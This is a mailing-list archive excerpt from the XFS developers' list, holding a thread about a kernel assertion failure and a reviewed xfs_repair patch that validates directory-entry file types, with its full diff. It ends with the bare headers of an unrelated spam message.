Dave Chinner <david@fromorbit.com> Cc: xfs@oss.sgi.com Subject: Re: assert in xfs_log_commit_cil Message-ID: <20140124223936.GX26064@sgi.com> References: <20140124193702.GM26064@sgi.com> <20140124222017.GB26397@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable In-Reply-To: <20140124222017.GB26397@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Sat, Jan 25, 2014 at 09:20:17AM +1100, Dave Chinner wrote: > On Fri, Jan 24, 2014 at 01:37:02PM -0600, Ben Myers wrote: > > Hi Folks, > >=20 > > I hit this assertion on one of my test boxes today: > >=20 > > [1167966.151275] XFS: Assertion failed: !list_empty(&cil->xc_cil), file= : /root/xfs/fs/xfs/xfs_log_cil.c, line: 636 >=20 > I suppose that can happen if we are committing a transaction that > has no dirty objects in it. But that can't happen from > xfs_setfilesize(). That implies memory corruption or that someone has > busted rwsem behaviour. >=20 > > [1167966.162659] ------------[ cut here ]------------ > > [1167966.168021] kernel BUG at /root/xfs/fs/xfs/xfs_message.c:107! > > [1167966.168026] invalid opcode: 0000 [#4] SMP > > [1167966.168081] Modules linked in: xfs(OF) ext2(F) dm_flakey(F) crc32c= (F) libcrc32c(F) autofs4(F) cpufreq_conservative(F) cpufreq_userspace(F) cp= ufreq_powersave(F) microcode(F) fuse(F) loop(F) dm_mod(F) joydev(F) hid_gen= eric(F) usbhid(F) hid(F) ehci_pci(F) ehci_hcd(F) iTCO_wdt(F) iTCO_vendor_su= pport(F) ipv6(F) usbcore(F) sg(F) igb(F) isci(F) sr_mod(F) pcspkr(F) mptctl= (F) cdrom(F) libsas(F) usb_common(F) ioatdma(F) ptp(F) i2c_i801(F) lpc_ich(= F) mfd_core(F) pps_core(F) dca(F) rtc_cmos(F) acpi_cpufreq(F) wmi(F) button= (F) mgag200(F) ttm(F) drm_kms_helper(F) drm(F) i2c_algo_bit(F) sysimgblt(F)= sysfillrect(F) i2c_core(F) syscopyarea(F) sd_mod(F) crc_t10dif(F) crct10di= f_common(F) mpt2sas(F) raid_class(F) scsi_dh_emc(F) scsi_dh_rdac(F) scsi_dh= _alua(F) scsi_dh_hp_sw(F) scsi_dh(F) thermal(F) sata_nv(F) processor(F) pii= x(F) mptsas(F) mptscsih(F) scsi_transport_sas(F) mptbase(F) megaraid_sas(F)= ide_generic(F) ide_core(F) fan(F) thermal_sys(F) hwmon(F) ext3(F) jbd(F) m= bcache(F) edd(F) at > > a_piix(F) ahci(F) libahci(F) libata(F) scsi_mod(F) [last unloaded: scs= i_debug] > > [1167966.168102] CPU: 10 PID: 13005 Comm: kworker/10:3 Tainted: GF = D IO 3.13.0-rc2-0.9-default #28 >=20 > That's a rather heavily tainted kernel you are testing there. It's > got forced module loads, TAINT_DIE which means this isn't the first > oops the kernel has had, TAINT_FIRMWARE_WORKAROUND which means the > hardware has bios/errata issues that need fixing, and you're > building and using out-of-tree modules that are force loaded so > there's no guarantee that all kernel/module ABIs match precisely.... >=20 > The key one is that TAINT_DIE is already set. Something has already > paniced on the machine, and once that happens all bets are off. Can > you reproduce this on a clean, untainted kernel? I'll give it a try... From bfoster@redhat.com Fri Jan 24 17:38:24 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3E9A97FB4 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 17:38:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3068B8F8059 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 15:38:20 -0800 (PST) X-ASG-Debug-ID: 1390606699-04cbb05baaf2ce0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 4WmiXUL6vmyhYQF9 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 15:38:19 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0ONcIpg026387 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 18:38:18 -0500 Received: from laptop.bfoster (vpn-54-164.rdu2.redhat.com [10.10.54.164]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0ONcHKe028046 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 18:38:18 -0500 Message-ID: <52E2F969.9050502@redhat.com> Date: Fri, 24 Jan 2014 18:38:17 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH V4] xfs_repair: add support for validating dirent ftype field References: <1390603109-29667-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH V4] xfs_repair: add support for validating dirent ftype field In-Reply-To: <1390603109-29667-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390606699 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/24/2014 05:38 PM, Dave Chinner wrote: > From: Dave Chinner <dchinner@redhat.com> > > Add code to track the filetype of an inode from phase 3 when all the > inodes are scanned throught to phase 6 when the directory structure > is validated and corrected. > > Add code to phase 6 shortform and long form directory entry > validation to read the ftype from the dirent, lookup the inode > record and check they are the same. If they aren't and we are in > no-modify mode, issue a warning such as: > > Phase 6 - check inode connectivity... > - traversing filesystem ... > would fix ftype mismatch (5/1) in directory/child inode 64/68 > - traversal finished ... > - moving disconnected inodes to lost+found ... > > If we are fixing the problem: > > Phase 6 - check inode connectivity... > - resetting contents of realtime bitmap and summary inodes > - traversing filesystem ... > fixing ftype mismatch (5/1) in directory/child inode 64/68 > - traversal finished ... > - moving disconnected inodes to lost+found ... > > Note that this is from a leaf form directory entry that was > intentionally corrupted with xfs_db like so: > > xfs_db> inode 64 > xfs_db> a u3.bmx[0].startblock > xfs_db> p > .... > du[3].inumber = 68 > du[3].namelen = 11 > du[3].name = "syscalltest" > du[3].filetype = 1 > du[3].tag = 0x70 > .... > xfs_db> write du[3].filetype 5 > du[3].filetype = 5 > xfs_db> quit > > Shortform directory entry repair was tested in a similar fashion. > > Further, track the ftype in the directory hash table that is build, > so if the directory is rebuild from scratch it has the necessary > ftype information to rebuild the directory correctly. Further, if we > detect a ftype mismatch, update the entry in the hash so that later > directory errors that lead to it being rebuilt use the corrected > ftype field, not the bad one. > > Note that this code pulls in some kernel side code that is currently > in kernel private locations (xfs_mode_to_ftype table), so there'll > be some kernel/userspace sync work needed to bring these back into > line. > > Signed-off-by: Dave Chinner <dchinner@redhat.com> > > Version 4: > - removed a couple more typedefs > - fixed no_modify return value from shortform_dir2_junk() > - cleaned up variable naming, formatting and comments in > shortform_dir2_junk() to make it more obvious what it is doing. > > Version 3: > - fixed max_size updates > - fixed comment grammar > > Version 2: > - factored out junking of entry in shortform directory code > - fixed leak of ftypes array memory > --- Looks good. Nice cleanup. Reviewed-by: Brian Foster <bfoster@redhat.com> > include/xfs_dir2.h | 3 + > libxfs/xfs_dir2.c | 16 ++++ > repair/dino_chunks.c | 11 +++ > repair/incore.h | 27 +++++- > repair/incore_ino.c | 30 ++++++- > repair/phase6.c | 246 ++++++++++++++++++++++++++++++++++++--------------- > repair/scan.c | 4 +- > 7 files changed, 258 insertions(+), 79 deletions(-) > > diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h > index 9910401..3900130 100644 > --- a/include/xfs_dir2.h > +++ b/include/xfs_dir2.h > @@ -57,6 +57,9 @@ extern int xfs_dir_replace(struct xfs_trans *tp, struct xfs_inode *dp, > extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, > struct xfs_name *name, uint resblks); > > +#define S_SHIFT 12 > +extern const unsigned char xfs_mode_to_ftype[]; > + > /* > * Direct call from the bmap code, bypassing the generic directory layer. > */ > diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c > index 96a3c1d..4c8c836 100644 > --- a/libxfs/xfs_dir2.c > +++ b/libxfs/xfs_dir2.c > @@ -20,6 +20,22 @@ > > struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; > > +/* > + * @mode, if set, indicates that the type field needs to be set up. > + * This uses the transformation from file mode to DT_* as defined in linux/fs.h > + * for file type specification. This will be propagated into the directory > + * structure if appropriate for the given operation and filesystem config. > + */ > +const unsigned char xfs_mode_to_ftype[S_IFMT >> S_SHIFT] = { > + [0] = XFS_DIR3_FT_UNKNOWN, > + [S_IFREG >> S_SHIFT] = XFS_DIR3_FT_REG_FILE, > + [S_IFDIR >> S_SHIFT] = XFS_DIR3_FT_DIR, > + [S_IFCHR >> S_SHIFT] = XFS_DIR3_FT_CHRDEV, > + [S_IFBLK >> S_SHIFT] = XFS_DIR3_FT_BLKDEV, > + [S_IFIFO >> S_SHIFT] = XFS_DIR3_FT_FIFO, > + [S_IFSOCK >> S_SHIFT] = XFS_DIR3_FT_SOCK, > + [S_IFLNK >> S_SHIFT] = XFS_DIR3_FT_SYMLINK, > +}; > > /* > * ASCII case-insensitive (ie. A-Z) support for directories that was > diff --git a/repair/dino_chunks.c b/repair/dino_chunks.c > index d3c2236..65281e4 100644 > --- a/repair/dino_chunks.c > +++ b/repair/dino_chunks.c > @@ -788,6 +788,8 @@ process_inode_chunk( > * we do now, this is where to start. > */ > if (is_used) { > + __uint16_t di_mode; > + > if (is_inode_free(ino_rec, irec_offset)) { > if (verbose || no_modify) { > do_warn( > @@ -803,6 +805,15 @@ process_inode_chunk( > set_inode_used(ino_rec, irec_offset); > > /* > + * store the on-disk file type for comparing in > + * phase 6. > + */ > + di_mode = be16_to_cpu(dino->di_mode); > + di_mode = (di_mode & S_IFMT) >> S_SHIFT; > + set_inode_ftype(ino_rec, irec_offset, > + xfs_mode_to_ftype[di_mode]); > + > + /* > * store on-disk nlink count for comparing in phase 7 > */ > set_inode_disk_nlinks(ino_rec, irec_offset, > diff --git a/repair/incore.h b/repair/incore.h > index 38caa6d..5419884 100644 > --- a/repair/incore.h > +++ b/repair/incore.h > @@ -293,6 +293,7 @@ typedef struct ino_tree_node { > ino_ex_data_t *ex_data; /* phases 6,7 */ > parent_list_t *plist; /* phases 2-5 */ > } ino_un; > + __uint8_t *ftypes; /* phases 3,6 */ > } ino_tree_node_t; > > #define INOS_PER_IREC (sizeof(__uint64_t) * NBBY) > @@ -359,7 +360,8 @@ ino_tree_node_t *find_uncertain_inode_rec(xfs_agnumber_t agno, > xfs_agino_t ino); > void add_inode_uncertain(xfs_mount_t *mp, > xfs_ino_t ino, int free); > -void add_aginode_uncertain(xfs_agnumber_t agno, > +void add_aginode_uncertain(struct xfs_mount *mp, > + xfs_agnumber_t agno, > xfs_agino_t agino, int free); > void get_uncertain_inode_rec(struct xfs_mount *mp, > xfs_agnumber_t agno, > @@ -476,6 +478,29 @@ static inline void add_inode_reached(struct ino_tree_node *irec, int offset) > } > > /* > + * get/set inode filetype. Only used if the superblock feature bit is set > + * which allocates irec->ftypes. > + */ > +static inline void > +set_inode_ftype(struct ino_tree_node *irec, > + int ino_offset, > + __uint8_t ftype) > +{ > + if (irec->ftypes) > + irec->ftypes[ino_offset] = ftype; > +} > + > +static inline __uint8_t > +get_inode_ftype( > + struct ino_tree_node *irec, > + int ino_offset) > +{ > + if (!irec->ftypes) > + return XFS_DIR3_FT_UNKNOWN; > + return irec->ftypes[ino_offset]; > +} > + > +/* > * set/get inode number of parent -- works for directory inodes only > */ > void set_inode_parent(ino_tree_node_t *irec, int ino_offset, > diff --git a/repair/incore_ino.c b/repair/incore_ino.c > index 735737a..9502648 100644 > --- a/repair/incore_ino.c > +++ b/repair/incore_ino.c > @@ -211,6 +211,21 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) > return 0; > } > > +static __uint8_t * > +alloc_ftypes_array( > + struct xfs_mount *mp) > +{ > + __uint8_t *ptr; > + > + if (!xfs_sb_version_hasftype(&mp->m_sb)) > + return NULL; > + > + ptr = calloc(XFS_INODES_PER_CHUNK, sizeof(*ptr)); > + if (!ptr) > + do_error(_("could not allocate ftypes array\n")); > + return ptr; > +} > + > /* > * Next is the uncertain inode list -- a sorted (in ascending order) > * list of inode records sorted on the starting inode number. There > @@ -226,6 +241,7 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) > */ > static struct ino_tree_node * > alloc_ino_node( > + struct xfs_mount *mp, > xfs_agino_t starting_ino) > { > struct ino_tree_node *irec; > @@ -245,6 +261,7 @@ alloc_ino_node( > irec->ino_un.ex_data = NULL; > irec->nlink_size = sizeof(__uint8_t); > irec->disk_nlinks.un8 = alloc_nlink_array(irec->nlink_size); > + irec->ftypes = alloc_ftypes_array(mp); > return irec; > } > > @@ -285,6 +302,7 @@ free_ino_tree_node( > > } > > + free(irec->ftypes); > free(irec); > } > > @@ -303,7 +321,11 @@ static ino_tree_node_t **last_rec; > * free is set to 1 if the inode is thought to be free, 0 if used > */ > void > -add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) > +add_aginode_uncertain( > + struct xfs_mount *mp, > + xfs_agnumber_t agno, > + xfs_agino_t ino, > + int free) > { > ino_tree_node_t *ino_rec; > xfs_agino_t s_ino; > @@ -334,7 +356,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) > ino_rec = (ino_tree_node_t *) > avl_findrange(inode_uncertain_tree_ptrs[agno], s_ino); > if (!ino_rec) { > - ino_rec = alloc_ino_node(s_ino); > + ino_rec = alloc_ino_node(mp, s_ino); > > if (!avl_insert(inode_uncertain_tree_ptrs[agno], > &ino_rec->avl_node)) > @@ -360,7 +382,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) > void > add_inode_uncertain(xfs_mount_t *mp, xfs_ino_t ino, int free) > { > - add_aginode_uncertain(XFS_INO_TO_AGNO(mp, ino), > + add_aginode_uncertain(mp, XFS_INO_TO_AGNO(mp, ino), > XFS_INO_TO_AGINO(mp, ino), free); > } > > @@ -432,7 +454,7 @@ add_inode( > { > struct ino_tree_node *irec; > > - irec = alloc_ino_node(agino); > + irec = alloc_ino_node(mp, agino); > if (!avl_insert(inode_tree_ptrs[agno], &irec->avl_node)) > do_warn(_("add_inode - duplicate inode range\n")); > return irec; > diff --git a/repair/phase6.c b/repair/phase6.c > index d2d4a44..cdbf4db 100644 > --- a/repair/phase6.c > +++ b/repair/phase6.c > @@ -134,7 +134,8 @@ dir_hash_add( > __uint32_t addr, > xfs_ino_t inum, > int namelen, > - unsigned char *name) > + unsigned char *name, > + __uint8_t ftype) > { > xfs_dahash_t hash = 0; > int byaddr; > @@ -148,6 +149,7 @@ dir_hash_add( > > xname.name = name; > xname.len = namelen; > + xname.type = ftype; > > junk = name[0] == '/'; > byaddr = DIR_HASH_FUNC(hashtab, addr); > @@ -312,6 +314,23 @@ dir_hash_see( > return DIR_HASH_CK_NODATA; > } > > +static void > +dir_hash_update_ftype( > + dir_hash_tab_t *hashtab, > + xfs_dir2_dataptr_t addr, > + __uint8_t ftype) > +{ > + int i; > + dir_hash_ent_t *p; > + > + i = DIR_HASH_FUNC(hashtab, addr); > + for (p = hashtab->byaddr[i]; p; p = p->nextbyaddr) { > + if (p->address != addr) > + continue; > + p->name.type = ftype; > + } > +} > + > /* > * checks to make sure leafs match a data entry, and that the stale > * count is valid. > @@ -1685,11 +1704,12 @@ longform_dir2_entry_check_data( > if (!orphanage_ino) > orphanage_ino = inum; > } > + > /* > * check for duplicate names in directory. > */ > if (!dir_hash_add(mp, hashtab, addr, inum, dep->namelen, > - dep->name)) { > + dep->name, xfs_dir3_dirent_get_ftype(mp, dep))) { > nbad++; > if (entry_junked( > _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > @@ -1763,6 +1783,35 @@ longform_dir2_entry_check_data( > */ > if (no_modify && verify_inum(mp, inum)) > continue; > + > + /* validate ftype field if supported */ > + if (xfs_sb_version_hasftype(&mp->m_sb)) { > + __uint8_t dir_ftype; > + __uint8_t ino_ftype; > + > + dir_ftype = xfs_dir3_dirent_get_ftype(mp, dep); > + ino_ftype = get_inode_ftype(irec, ino_offset); > + > + if (dir_ftype != ino_ftype) { > + if (no_modify) { > + do_warn( > + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), > + dir_ftype, ino_ftype, > + ip->i_ino, inum); > + } else { > + do_warn( > + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), > + dir_ftype, ino_ftype, > + ip->i_ino, inum); > + xfs_dir3_dirent_put_ftype(mp, dep, > + ino_ftype); > + libxfs_dir2_data_log_entry(tp, bp, dep); > + dir_hash_update_ftype(hashtab, addr, > + ino_ftype); > + } > + } > + } > + > /* > * check easy case first, regular inode, just bump > * the link count and continue > @@ -2189,6 +2238,62 @@ out_fix: > * shortform directory v2 processing routines -- entry verification and > * bad entry deletion (pruning). > */ > +static struct xfs_dir2_sf_entry * > +shortform_dir2_junk( > + struct xfs_mount *mp, > + struct xfs_dir2_sf_hdr *sfp, > + struct xfs_dir2_sf_entry *sfep, > + xfs_ino_t lino, > + int *max_size, > + int *index, > + int *bytes_deleted, > + int *ino_dirty) > +{ > + struct xfs_dir2_sf_entry *next_sfep; > + int next_len; > + int next_elen; > + > + if (lino == orphanage_ino) > + orphanage_ino = 0; > + > + next_elen = xfs_dir3_sf_entsize(mp, sfp, sfep->namelen); > + next_sfep = (xfs_dir2_sf_entry_t *)((__psint_t)sfep + next_elen); > + > + /* > + * if we are just checking, simply return the pointer to the next entry > + * here so that the checking loop can continue. > + */ > + if (no_modify) { > + do_warn(_("would junk entry\n")); > + return next_sfep; > + } > + > + /* > + * now move all the remaining entries down over the junked entry and > + * clear the newly unused bytes at the tail of the directory region. > + */ > + next_len = *max_size - ((__psint_t)next_sfep - (__psint_t)sfp); > + *max_size -= next_elen; > + *bytes_deleted += next_elen; > + > + memmove(sfep, next_sfep, next_len); > + memset((void *)((__psint_t)sfep + next_len), 0, next_elen); > + sfp->count -= 1; > + *ino_dirty = 1; > + > + /* > + * WARNING: drop the index i by one so it matches the decremented count > + * for accurate comparisons in the loop test > + */ > + (*index)--; > + > + if (verbose) > + do_warn(_("junking entry\n")); > + else > + do_warn("\n"); > + return sfep; > +} > + > static void > shortform_dir2_entry_check(xfs_mount_t *mp, > xfs_ino_t ino, > @@ -2201,15 +2306,13 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > xfs_ino_t lino; > xfs_ino_t parent; > struct xfs_dir2_sf_hdr *sfp; > - xfs_dir2_sf_entry_t *sfep, *next_sfep, *tmp_sfep; > - xfs_ifork_t *ifp; > - ino_tree_node_t *irec; > + struct xfs_dir2_sf_entry *sfep; > + struct xfs_dir2_sf_entry *next_sfep; > + struct xfs_ifork *ifp; > + struct ino_tree_node *irec; > int max_size; > int ino_offset; > int i; > - int junkit; > - int tmp_len; > - int tmp_elen; > int bad_sfnamelen; > int namelen; > int bytes_deleted; > @@ -2266,9 +2369,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > for (i = 0; i < sfp->count && max_size > > (__psint_t)next_sfep - (__psint_t)sfp; > sfep = next_sfep, i++) { > - junkit = 0; > bad_sfnamelen = 0; > - tmp_sfep = NULL; > > lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); > > @@ -2340,7 +2441,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > do_warn( > _("entry \"%s\" in shortform directory %" PRIu64 " references non-existent inode %" PRIu64 "\n"), > fname, ino, lino); > - goto do_junkit; > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, > + &max_size, &i, &bytes_deleted, > + ino_dirty); > + continue; > } > > ino_offset = XFS_INO_TO_AGINO(mp, lino) - irec->ino_startnum; > @@ -2354,7 +2458,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > do_warn( > _("entry \"%s\" in shortform directory inode %" PRIu64 " points to free inode %" PRIu64 "\n"), > fname, ino, lino); > - goto do_junkit; > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, > + &max_size, &i, &bytes_deleted, > + ino_dirty); > + continue; > } > /* > * check if this inode is lost+found dir in the root > @@ -2367,7 +2474,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > do_warn( > _("%s (ino %" PRIu64 ") in root (%" PRIu64 ") is not a directory"), > ORPHANAGE, lino, ino); > - goto do_junkit; > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, > + lino, &max_size, &i, > + &bytes_deleted, ino_dirty); > + continue; > } > /* > * if this is a dup, it will be picked up below, > @@ -2381,11 +2491,15 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > */ > if (!dir_hash_add(mp, hashtab, (xfs_dir2_dataptr_t) > (sfep - xfs_dir2_sf_firstentry(sfp)), > - lino, sfep->namelen, sfep->name)) { > + lino, sfep->namelen, sfep->name, > + xfs_dir3_sfe_get_ftype(mp, sfp, sfep))) { > do_warn( > _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > fname, lino, ino); > - goto do_junkit; > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, > + &max_size, &i, &bytes_deleted, > + ino_dirty); > + continue; > } > > if (!inode_isadir(irec, ino_offset)) { > @@ -2403,11 +2517,14 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > * the .. in the child, blow out the entry > */ > if (is_inode_reached(irec, ino_offset)) { > - junkit = 1; > do_warn( > _("entry \"%s\" in directory inode %" PRIu64 > " references already connected inode %" PRIu64 ".\n"), > fname, ino, lino); > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, > + lino, &max_size, &i, > + &bytes_deleted, ino_dirty); > + continue; > } else if (parent == ino) { > add_inode_reached(irec, ino_offset); > add_inode_ref(current_irec, current_ino_offset); > @@ -2423,76 +2540,60 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > add_dotdot_update(XFS_INO_TO_AGNO(mp, lino), > irec, ino_offset); > } else { > - junkit = 1; > do_warn( > _("entry \"%s\" in directory inode %" PRIu64 > " not consistent with .. value (%" PRIu64 > ") in inode %" PRIu64 ",\n"), > fname, ino, parent, lino); > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, > + lino, &max_size, &i, > + &bytes_deleted, ino_dirty); > + continue; > } > } > > - if (junkit) { > -do_junkit: > - if (lino == orphanage_ino) > - orphanage_ino = 0; > - if (!no_modify) { > - tmp_elen = xfs_dir3_sf_entsize(mp, sfp, > - sfep->namelen); > - tmp_sfep = (xfs_dir2_sf_entry_t *) > - ((__psint_t) sfep + tmp_elen); > - tmp_len = max_size - ((__psint_t) tmp_sfep > - - (__psint_t) sfp); > - max_size -= tmp_elen; > - bytes_deleted += tmp_elen; > - > - memmove(sfep, tmp_sfep, tmp_len); > - > - sfp->count -= 1; > - memset((void *)((__psint_t)sfep + tmp_len), 0, > - tmp_elen); > - > - /* > - * set the tmp value to the current > - * pointer so we'll process the entry > - * we just moved up > - */ > - tmp_sfep = sfep; > - > - /* > - * WARNING: drop the index i by one > - * so it matches the decremented count for > - * accurate comparisons in the loop test > - */ > - i--; > + /* validate ftype field if supported */ > + if (xfs_sb_version_hasftype(&mp->m_sb)) { > + __uint8_t dir_ftype; > + __uint8_t ino_ftype; > > - *ino_dirty = 1; > + dir_ftype = xfs_dir3_sfe_get_ftype(mp, sfp, sfep); > + ino_ftype = get_inode_ftype(irec, ino_offset); > > - if (verbose) > - do_warn(_("junking entry\n")); > - else > - do_warn("\n"); > - } else { > - do_warn(_("would junk entry\n")); > + if (dir_ftype != ino_ftype) { > + if (no_modify) { > + do_warn( > + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), > + dir_ftype, ino_ftype, > + ino, lino); > + } else { > + do_warn( > + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), > + dir_ftype, ino_ftype, > + ino, lino); > + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, > + ino_ftype); > + dir_hash_update_ftype(hashtab, > + (xfs_dir2_dataptr_t)(sfep - xfs_dir2_sf_firstentry(sfp)), > + ino_ftype); > + *ino_dirty = 1; > + } > } > - } else if (lino > XFS_DIR2_MAX_SHORT_INUM) > + } > + > + if (lino > XFS_DIR2_MAX_SHORT_INUM) > i8++; > > /* > - * go onto next entry unless we've just junked an > - * entry in which the current entry pointer points > - * to an unprocessed entry. have to take into entries > - * with bad namelen into account in no modify mode since we > - * calculate size based on next_sfep. > + * go onto next entry - we have to take entries with bad namelen > + * into account in no modify mode since we calculate size based > + * on next_sfep. > */ > ASSERT(no_modify || bad_sfnamelen == 0); > - > - next_sfep = (tmp_sfep == NULL) > - ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep > - + ((!bad_sfnamelen) > - ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > - : xfs_dir3_sf_entsize(mp, sfp, namelen))) > - : tmp_sfep; > + next_sfep = (struct xfs_dir2_sf_entry *)((__psint_t)sfep + > + (bad_sfnamelen > + ? xfs_dir3_sf_entsize(mp, sfp, namelen) > + : xfs_dir3_sf_entsize(mp, sfp, sfep->namelen))); > } > > if (sfp->i8count != i8) { > @@ -2501,6 +2602,8 @@ do_junkit: > ino); > } else { > if (i8 == 0) { > + struct xfs_dir2_sf_entry *tmp_sfep; > + > tmp_sfep = next_sfep; > process_sf_dir2_fixi8(mp, sfp, &tmp_sfep); > bytes_deleted += > @@ -2518,8 +2621,7 @@ do_junkit: > /* > * sync up sizes if required > */ > - if (*ino_dirty) { > - ASSERT(bytes_deleted > 0); > + if (*ino_dirty && bytes_deleted > 0) { > ASSERT(!no_modify); > libxfs_idata_realloc(ip, -bytes_deleted, XFS_DATA_FORK); > ip->i_d.di_size -= bytes_deleted; > diff --git a/repair/scan.c b/repair/scan.c > index 49ed194..73b4581 100644 > --- a/repair/scan.c > +++ b/repair/scan.c > @@ -866,9 +866,9 @@ _("inode rec for ino %" PRIu64 " (%d/%d) overlaps existing rec (start %d/%d)\n") > for (j = 0; j < XFS_INODES_PER_CHUNK; j++) { > if (XFS_INOBT_IS_FREE_DISK(rp, j)) { > nfree++; > - add_aginode_uncertain(agno, ino + j, 1); > + add_aginode_uncertain(mp, agno, ino + j, 1); > } else { > - add_aginode_uncertain(agno, ino + j, 0); > + add_aginode_uncertain(mp, agno, ino + j, 0); > } > } > } > From noreply@loweandpartners.com Sat Jan 25 17:35:44 2014 Return-Path: <noreply@loweandpartners.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0ACD97F72 for <xfs@oss.sgi.com>; Sat, 25 Jan 2014 17:35:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 76586AC001 for <xfs@oss.sgi.com>; Sat, 25 Jan 2014 15:35:43 -0800 (PST) X-ASG-Debug-ID: 1390692939-04cb6c750a1056a0001-NocioJ Received: from 329258-app1.loweworldwide.com (329258-app1.loweworldwide.com [94.236.48.196]) by cuda.sgi.com with ESMTP id KcN5ojTr3JFEHfj3 for <xfs@oss.sgi.com>; Sat, 25 Jan 2014 15:35:39 -0800 (PST) X-Barracuda-Envelope-From: noreply@loweandpartners.com X-Barracuda-Apparent-Source-IP: 94.236.48.196 Received: by 329258-app1.loweworldwide.com (Postfix, from userid 48) id 5D94F47DBE5; Sat, 25 Jan 2014 23:35:39 +0000 (GMT) To: xfs@oss.sgi.com Subject: Notice of Policy Updates for your Amazon account MIME-Version: 1.0 X-ASG-Orig-Subj: Notice of Policy Updates for your Amazon account Content-type: text/html; charset=iso-8859-1 From: services <a@loweandpartners.com> Message-Id: <20140125233539.5D94F47DBE5@329258-app1.loweworldwide.com> Date: Sat, 25 Jan 2014 23:35:39 +0000 (GMT) X-Barracuda-Connect: 329258-app1.loweworldwide.com[94.236.48.196] X-Barracuda-Start-Time: 1390692939 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi 